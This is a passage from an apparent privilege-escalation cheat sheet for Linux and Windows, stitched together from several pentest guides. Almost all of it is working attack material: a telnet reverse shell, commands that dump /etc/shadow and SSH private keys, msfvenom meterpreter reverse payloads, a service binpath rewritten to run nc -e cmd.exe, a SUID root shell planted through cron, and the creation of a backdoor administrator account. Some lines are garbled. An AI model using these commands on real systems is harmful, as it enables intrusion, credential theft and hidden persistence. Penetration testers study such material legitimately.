  600. arp -e
  601. route
  602. /sbin/route -nee
  603. Is packet sniffing possible? What can be seen? Listen to live traffic
  604. tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
  605. Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
  606. Have you got a shell? Can you interact with the system?
  607. nc -lvp 4444 # Attacker. Input (Commands)
  608. nc -lvp 4445 # Attacker. Ouput (Results)
  609. telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
  610. Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  611. Is port forwarding possible? Redirect and interact with traffic from another view
  612. Note: http://www.boutell.com/rinetd/
  613. Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
  614. Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
  615. Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
  616. FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
  617. Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
  618. ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
  619. ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
  620. Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
  621. mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
  622. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
  623. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
  624. Is tunnelling possible? Send commands locally, remotely
  625. ssh -D 127.0.0.1:9050 -N [username]@[ip]
  626. proxychains ifconfig
  627. Confidential Information & Users
  628. Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
  629. id
  630. who
  631. w
  632. last
  633. cat /etc/passwd | cut -d: -f1 # List of users
  634. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
  635. awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
  636. cat /etc/sudoers
  637. sudo -l
  638. What sensitive files can be found?
  639. cat /etc/passwd
  640. cat /etc/group
  641. cat /etc/shadow
  642. ls -alh /var/mail/
  643. Anything "interesting" in the home directorie(s)? If it's possible to access
  644. ls -ahlR /root/
  645. ls -ahlR /home/
  646. Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
  647. cat /var/apache2/config.inc
  648. cat /var/lib/mysql/mysql/user.MYD
  649. cat /root/anaconda-ks.cfg
  650. What has the user being doing? Is there any password in plain text? What have they been edting?
  651. cat ~/.bash_history
  652. cat ~/.nano_history
  653. cat ~/.atftp_history
  654. cat ~/.mysql_history
  655. cat ~/.php_history
  656. What user information can be found?
  657. cat ~/.bashrc
  658. cat ~/.profile
  659. cat /var/mail/root
  660. cat /var/spool/mail/root
  661. Can private-key information be found?
  662. cat ~/.ssh/authorized_keys
  663. cat ~/.ssh/identity.pub
  664. cat ~/.ssh/identity
  665. cat ~/.ssh/id_rsa.pub
  666. cat ~/.ssh/id_rsa
  667. cat ~/.ssh/id_dsa.pub
  668. cat ~/.ssh/id_dsa
  669. cat /etc/ssh/ssh_config
  670. cat /etc/ssh/sshd_config
  671. cat /etc/ssh/ssh_host_dsa_key.pub
  672. cat /etc/ssh/ssh_host_dsa_key
  673. cat /etc/ssh/ssh_host_rsa_key.pub
  674. cat /etc/ssh/ssh_host_rsa_key
  675. cat /etc/ssh/ssh_host_key.pub
  676. cat /etc/ssh/ssh_host_key
  677. File Systems
  678. Which configuration files can be written in /etc/? Able to reconfigure a service?
  679. ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
  680. ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
  681. ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
  682. ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
  683. find /etc/ -readable -type f 2>/dev/null # Anyone
  684. find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
  685. What can be found in /var/ ?
  686. ls -alh /var/log
  687. ls -alh /var/mail
  688. ls -alh /var/spool
  689. ls -alh /var/spool/lpd
  690. ls -alh /var/lib/pgsql
  691. ls -alh /var/lib/mysql
  692. cat /var/lib/dhcp3/dhclient.leases
  693. Any settings/files (hidden) on website? Any settings file with database information?
  694. ls -alhR /var/www/
  695. ls -alhR /srv/www/htdocs/
  696. ls -alhR /usr/local/www/apache22/data/
  697. ls -alhR /opt/lampp/htdocs/
  698. ls -alhR /var/www/html/
  699. Is there anything in the log file(s) (Could help with "Local File Includes"!)
  700. cat /etc/httpd/logs/access_log
  701. cat /etc/httpd/logs/access.log
  702. cat /etc/httpd/logs/error_log
  703. cat /etc/httpd/logs/error.log
  704. cat /var/log/apache2/access_log
  705. cat /var/log/apache2/access.log
  706. cat /var/log/apache2/error_log
  707. cat /var/log/apache2/error.log
  708. cat /var/log/apache/access_log
  709. cat /var/log/apache/access.log
  710. cat /var/log/auth.log
  711. cat /var/log/chttp.log
  712. cat /var/log/cups/error_log
  713. cat /var/log/dpkg.log
  714. cat /var/log/faillog
  715. cat /var/log/httpd/access_log
  716. cat /var/log/httpd/access.log
  717. cat /var/log/httpd/error_log
  718. cat /var/log/httpd/error.log
  719. cat /var/log/lastlog
  720. cat /var/log/lighttpd/access.log
  721. cat /var/log/lighttpd/error.log
  722. cat /var/log/lighttpd/lighttpd.access.log
  723. cat /var/log/lighttpd/lighttpd.error.log
  724. cat /var/log/messages
  725. cat /var/log/secure
  726. cat /var/log/syslog
  727. cat /var/log/wtmp
  728. cat /var/log/xferlog
  729. cat /var/log/yum.log
  730. cat /var/run/utmp
  731. cat /var/webmin/miniserv.log
  732. cat /var/www/logs/access_log
  733. cat /var/www/logs/access.log
  734. ls -alh /var/lib/dhcp3/
  735. ls -alh /var/log/postgresql/
  736. ls -alh /var/log/proftpd/
  737. ls -alh /var/log/samba/
  738. Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
  739. Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
  740. If commands are limited, you break out of the "jail" shell?
  741. python -c 'import pty;pty.spawn("/bin/bash")'
  742. echo os.system('/bin/bash')
  743. /bin/sh -i
  744. How are file-systems mounted?
  745. mount
  746. df -h
  747. Are there any unmounted file-systems?
  748. cat /etc/fstab
  749. What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
  750. find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
  751. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
  752. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
  753. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
  754. for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
  755. # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
  756. find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
  757. Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
  758. find / -writable -type d 2>/dev/null # world-writeable folders
  759. find / -perm -222 -type d 2>/dev/null # world-writeable folders
  760. find / -perm -o w -type d 2>/dev/null # world-writeable folders
  761. find / -perm -o x -type d 2>/dev/null # world-executable folders
  762. find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
  763. Any "problem" files? Word-writeable, "nobody" files
  764. find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
  765. find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
  766. Preparation & Finding Exploit Code
  767. What development tools/languages are installed/supported?
  768. find / -name perl*
  769. find / -name python*
  770. find / -name gcc*
  771. find / -name cc
  772. How can files be uploaded?
  773. find / -name wget
  774. find / -name nc*
  775. find / -name netcat*
  776. find / -name tftp*
  777. find / -name ftp
  778. http://www.vulnview.com/cve-details.php?cvename=[CVE]
  779. (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
  780. http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
  781. http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
  782. Mitigations
  783. Try doing it! Setup a cron job which automates script(s) and/or 3rd party products
  784. Is the system fully patched?
  785. Kernel, operating system, all applications, their plugins and web services
  786. apt-get update && apt-get upgrade
  787. yum update
  788. Are services running with the minimum level of privileges required?
  789. For example, do you need to run MySQL as root?
  790. Scripts Can any of this be automated?!
  791. Nmap is a scanner for network and OS services detection. However, if misconfigured to be used with “sudo” or “administrator” privileges can lead to a privilege escalation.
  792. 1. Check what sudo permission the current user has, desired “NOPASSWD”
  793. sudo -l
  794. 2. Execute Nmap in interactive mode
  795. sudo nmap --interactive
  796. 3. Nmap has been run with “sudo” privileges. Run a shell inside the Nmap interactive prompt
  797. !bash or !sh
  798. whoami
  799. 1. Having sticky bit permission I get a root shell using ‘!sh’ and now ‘!bash’ so it is worthy to try different shells.
  800. ls -l /usr/local/bin/nmap
  801. 2. Accessing interactive mode we can run the shell
  802. nmap --interactive
  803. !bash
  804. whoami
  805. exit
  806. !sh
  807. whoami
  808. 1. In case that “--interactive" is not an option
  809. sudo -l
  810. sudo -u root nmap --interactive
  811. 2. We will now try playing with environmental variables
  812. TF=$(mktemp)
  813. echo 'os.execute("/bin/sh")' > $TF
  814. sudo nmap --script=$TF
  815. 3. We now are root
  816. bash
  817. whoami; date; hostname
  818. In order for the technique to work the WebDav service needs to be in running status because the WebDav doesn’t negotiate signing and therefore authentication relays from the current machine account will be allowed.
  819. Enable WebClient Service:
  820. #include <Windows.h>
  821. #include <evntprov.h>
  822. int main()
  823. {
  824. const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
  825. { 0x22B6D684, 0xFA63, 0x4578,
  826. { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
  827. REGHANDLE Handle;
  828. bool success = false;
  829. if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
  830. nullptr, nullptr, &Handle) == ERROR_SUCCESS)
  831. {
  832. EVENT_DESCRIPTOR desc;
  833. EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
  834. success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
  835. EventUnregister(Handle);
  836. }
  837. return success;
  838. }
  839. The above process can be conducted directly from Impacket by utilizing the “getST” python utility. Compare to Rubeus the tool doesn’t need to hash value of the machine account password but the plain-text. A service ticket can be requested by executing the following command:
  840. getST.py -spn cifs/hive.purple.lab purple.lab/Desktop-Pentestlab\$ -impersonate administrator
  841. The ticket will be saved as .ccache in the current working directory.
  842. Convert Ticket:
  843. The final ticket granting ticket (TGT) from Rubeus are based64 encoded. In order to be used for Kerberos authentication the ticket needs to be in .ccache format. Executing the following command will decode the ticket and write the output into a .kirbi file.
  844. echo "base64" | base64 -d > admin.kirbi
  845. Impacket contains a python utility which can convert Kerberos tickets that have the .kirbi extension to .ccache.
  846. ticketConverter.py /home/kali/admin.kirbi admin.ccache
  847. Access via Kerberos Authentication
  848. Obtaining a ticket which belongs to an administrator account means that it could be used to access the target service from an elevated point of view. Both “wmiexec” and “psexec” from Impacket support Kerberos authentication and therefore could be utilized to access the host as Administrator or SYSTEM completing the privilege escalation scenario.
  849. wmiexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
  850. Executing “psexec” will create a service on the target host and it is not considered opsec safe. However it could be executed by specifying the administrator account and the target host with the “-k” and “-no-pass” flags to use Kerberos authentication.
  851. psexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
  852. Let’s try to view the OS Release of the lab machine. By executing:
  853. $ lsb_release -a
  854. We can also see the Kernel Version:
  855. $ uname -a
  856. We first move to the tmp directory which we will be able to create a file, paste the exploit code and then compile it.
  857. The commands we should run are:
  858. $ cd /tmp
  859. $ touch exploit.c
  860. $ vim exploit.c
  861. Then, we should paste the exploit code inside the file, save and exit. Now, we have to compile the exploit. To do this we run:
  862. $ gcc exploit.c -o exploit
  863. And now we only have to execute the exploit file to see if our exploit works. By running:
  864. $ ./exploit
  865. The python command you can see was used to get a proper shell. The command used:
  866. $ python -c ‘import pty; pty.spawn(“/bin/bash”)’
  867. As we can see, we can execute shell commands by typing “!” followed by the command we would like to execute. Thus, the: “!sh” command should normally pop a shell. And as nmap has the SUID flags, we should normally get a root shell.
  868. Linux Privilege Escalation with Setuid and Nmap
  869. I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:
  870. find / -user root -perm -4000 -exec ls -la {} \;
  871. nmap --interactive
  872. nmap> !whoami
  873. !whoami
  874. root
  875. waiting to reap child : No child processes
  876. nmap> !sh
  877. !sh
  878. # id
  879. id
  880. uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
  881. #
  882. Token/Privilege Enumeration/Abuse:
  883. Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
  884. Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
  885. Enable-Privilege - enables a specific privilege for the current process
  886. Service Enumeration/Abuse:
  887. Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
  888. Get-UnquotedService - returns services with unquoted paths that also have a space in the name
  889. Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
  890. Get-ModifiableService - returns services the current user can modify
  891. Get-ServiceDetail - returns detailed information about a specified service
  892. Set-ServiceBinaryPath - sets the binary path for a service to a specified value
  893. Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
  894. Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
  895. Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
  896. Restore-ServiceBinary - restores a replaced service binary with the original executable
  897. DLL Hijacking:
  898. Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
  899. Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
  900. Write-HijackDll - writes out a hijackable DLL
  901. Registry Checks:
  902. Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
  903. Get-RegistryAutoLogon - checks for Autologon credentials in the registry
  904. Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
  905. Miscellaneous Checks:
  906. Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
  907. Get-UnattendedInstallFile - finds remaining unattended installation files
  908. Get-Webconfig - checks for any encrypted web.config strings
  909. Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
  910. Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
  911. Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
  912. Other Helpers/Meta-Functions:
  913. Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
  914. Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
  915. Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
  916. Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllC
  917. Windows
  918. Kernel Exploits
  919. systeminfo -> look up missing kb's
  920. systeminfo | findstr /B /C:"OS Name" /C:"OS * Version"`
  921. sherlock -> Find-AllVulns powershell
  922. 0xsp Mongoose
  923. Common Kernel Exploits
  924. [MS16-014](https://www.exploit-db.com/exploits/40039) - applies to: Windows 7 SP1 x86
  925. [MS16-016](https://www.exploit-db.com/exploits/39432) - 'WebDAV' applies to Windows 7 SP1 x86 (Build 7601)
  926. [MS16-032](https://www.exploit-db.com/exploits/39719) - applies to: Windows 7 x86/x64, Windows 8 x86/64, Windows 10, Windows Server 2008-2012 R2
  927. [CVE-2020-0796]()-applies to : SMBv3 Enabled on Windows Operation Systems
  928. [MS16-075](a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075">)
  929. CVE-2019-1388
  930. Config files
  931. creds in cleartext or base64 -> once windows in installed
  932. c:\sysprep.inf
  933. c:\sysprep\sysprep.xml
  934. %WINDIR%\Panther\Unattend\Unattended.xml
  935. %WINDIR%\Panther\Unattended.xml
  936. GPP(Group Policy Preferences)
  937. Only applicable for devices connected to a domain
  938. Groups.xml`stored in SYSVOL -> DC
  939. encrypted with AES, but key got leaked
  940. \\dc2018.lab\SYSVOL\dc2008.lab\Policies\{id}\MACHINE\Preferences\Groups`
  941. Other Files
  942. Services\Services.xml
  943. ScheduldedTasks\ScheduledTasks.xml
  944. Printers\Printers.xml
  945. Drives\Drives.xml
  946. DataSources\DataSources.xml
  947. Other Misc Passwords
  948. dir /s *pass* == *cred* == *vnc* == *.config*
  949. findstr /si password *.xml *.ini *.txt
  950. reg query HKLM /f password /t REG_SZ /s
  951. reg query HKCU /f password /t REG_SZ /s
  952. web.config
  953. php.ini
  954. httpd.conf
  955. access.log
  956. powerup:
  957. Get-WebConfig (ISS > web.config
  958. putty:
  959. reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
  960. Tight VNC:
  961. reg query HKCU\Software\TightVNC\Server
  962. bncpwd.exe
  963. Always Install Elevated:
  964. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstalledElevated
  965. reg query HKCU\SOFTWARE\Policies\Micorosft\Windows\Installer\AlwaysInstalledElevated
  966. both values = 1, created a malicious .msi file with msfvenom for example
  967. execute it with msiexec /quiet /qn /i <filename>
  968. powerup:
  969. Get-RegistryAlwaysInstallElevated
  970. Write-UserAddMSI
  971. Unquoted Services Paths (trusted service paths)
  972. For each space in a file path, windows will attempt to look for and execute programs with a name that matches the word in front of the space.
  973. Example:
  974. C:\Program Files\Some Folder\Service.exe
  975. C:\Program.exe
  976. C:\Program Files\Some.exe
  977. C:\Program Files\Some Folder\Service.exe
  978. wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
  979. PFNet
  980. * C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfscv.exe
  981. * icalcs "C:\Program Files (x86)\Privacyware"
  982. * msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe
  983. Start and stop the service:
  984. sc stop PFNet
  985. sc start PFNET
  986. Powerup:
  987. Get-ServiceUnquoted
  988. Write-ServiceBinary -Name -Path
  989. Insecure Service Permissions
  990. whoami > net user <name>` \- enumerate groups
  991. accesschk.exe` -> part of sysinternals
  992. accesschk.exe -ucqv <service>
  993. accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  994. Write access to a service as authenticated user?
  995. W-XP ssdprsv and upnphost by default:
  996. sc qc upnphost
  997. sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
  998. net start upnphost
  999. Powerup:
  1000. Get-ModifiableService
  1001. Test-ServiceDaclPermission
  1002. Invoke-ServiceAbuse -Name -Command
  1003. DLL Hijacking
  1004. Requires user interaction / reboot.
  1005. DLL search order on 32-bit systems:
  1006. 1. The directory from which the application is loaded
  1007. 2. 32-bit System directory (C:\Windows\System32)
  1008. 3. 16-bit System directory (C:\Windows\System)
  1009. 4. Windows directory (C:\Windows)
  1010. 5. The current working directory
  1011. 6. Directories in the PATH environment variable
  1012. You can use procmon to look for vulnerable dll's using the following filters:
  1013. Result is NAME NOT FOUND Include
  1014. Path ends with .dll
  1015. echo %path%
  1016. icacls C:\Python27
  1017. accesssschk.exe -dqv "C:\Python27"
  1018. sc qc IKEEXT
  1019. Generate a malicious payload with msfvenom
  1020. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f dll > evil.dll
  1021. Windows 7 x86/64:
  1022. IKE and AuthIP IPsec Keying Modules (IKEEEXT) - wlbsctrl.dl
  1023. Powerup:
  1024. Find-PathDLLHijkack
  1025. Find-ProjcessDLLHijkack
  1026. Wire-HijkackDll
  1027. Schedulded tasks:
  1028. On server 2000, 2003, and XP, scheduled tasks are running as system. Are they calling any .exe's and can you overwrite?
  1029. accesschk.exe -dqv <folder>
  1030. Can you create a task yourself?
  1031. net start "Task Scheduler" at <hour> /interactive "path to evil exe"
  1032. Powerup:
  1033. Get-ModifiableScheduledTaskFile
  1034. Useful commands
  1035. * `hostname`
  1036. * `echo %username%`
  1037. * `whoami` / `priv`
  1038. * `swinsta` \- other logged in users
  1039. * `net users`
  1040. * `net user <username>`
  1041. * `net localgroup`
  1042. * `net localgroup Administrators`
  1043. * `net user rottenadmin P@ssword123! /add`
  1044. * `net localgroup Administrators rottenadmin /add`
  1045. * `ipconfing /all`
  1046. * `route print`
  1047. * `arp -a`
  1048. * `netstat -ano`
  1049. * `C:\WINDOWS\System32\drivers\etc\hosts`
  1050. * `schtasks /query /fo LIST /v` \- scheduled task
  1051. * `tasklist /SVC` \- running processes
  1052. * `net start` \- started services
  1053. * `cd\ & dir /b /s proof.txt`
  1054. Linux
  1055. not added -> ld_preload - [URL](http://www.dankalia.com/tutor/01005/0100501004.htm)
  1056. Scripts & Tools
  1057. 0xsp Mongoose
  1058. Linux-Enum-Mod
  1059. linux-exploit-suggestor
  1060. Kernel Exploits
  1061. Mongoose 0xsp
  1062. uname -a -> searchsploit
  1063. linux-exploit-suggestor
  1064. Common Kernel Exploits
  1065. * `CVE-2010-2959`
  1066. * `cve-2020-8835`
  1067. * `CVE-2019-7304`
  1068. * `CVE - 2019-9213 2018-5333`
  1069. Services Running as root
  1070. ps -aux | grep root
  1071. any shell escape sequences?
  1072. SUID Executables
  1073. runs with permissions of the owner
  1074. find / -perm -u=s -type f 2>/dev/null
  1075. any shell escape sequences - do we have write access?
  1076. Sudo rights / users
  1077. sudo -l
  1078. what can we execute -> any shell escape sequences
  1079. Cron jobs
  1080. find / -perm -2 -type f 2>/dev/null`
  1081. ls -la /etc/cron.d`
  1082. # rootme.c
  1083. int main(void)
  1084. {
  1085. setgid(0);
  1086. setuid(0);
  1087. execl("/bin/sh", "sh", 0);
  1088. }
  1089. gcc rootme.c -o rootme
  1090. echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;" > /usr/local/sbin/cron-logrotate.sh
  1091. Wildcards
  1092. often combined with user interaction / cronjobs
  1093. cfr. Back to the Future: Unix Wildcards Gone Wild paper
  1094. wild cards can be utilized to inject arbitrary command by creating files that are seen as commands
  1095. Example:
  1096. --checkpoint=<number> and --checkpoint-action=<command>
  1097. --checkpoint=1 and --checkpoint-actionexec=sh rshell.sh
  1098. Path Abuse ('.' in path)
  1099. Requires user interaction (eg somebody need to have . in their path)
  1100. * `$PATH:.:${PATH}`
  1101. * `export $PATH`
  1102. * `echo $PATH`
  1103. * replace executable files with a malicious one
  1104. Useful commands
  1105. * `ps aux | grep root`
  1106. * `crontab -l`
  1107. * `ifconfig -a`
  1108. * `cat /etc/resolv.conf`
  1109. * `netstat -tulpn`
  1110. * `arp -e`
  1111. * `route`
  1112. * `id`
  1113. * `who`
  1114. * `cat /etc/passwd | cut -d: -f1` \- list of users
  1115. * `cat ~/.ssh`
  1116. * `find . -name package.json -print -exec cat {} +`
  1117. Sources
  1118. https://www.fuzzysecurity.com/tutorials/16.html
  1119. https://toshellandback.com/2015/11/24/ms-priv-esc/
  1120. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
  1121. https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  1122. https://payatu.com/guide-linux-privilege-escalation/#
  1123. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  1124. https://github.com/sagishahar/lpeworkshop
  1125. Is anyone else logged in?
  1126. qwinsta
  1127. # Is there a printer
  1128. lpstat -a

comments powered by Disqus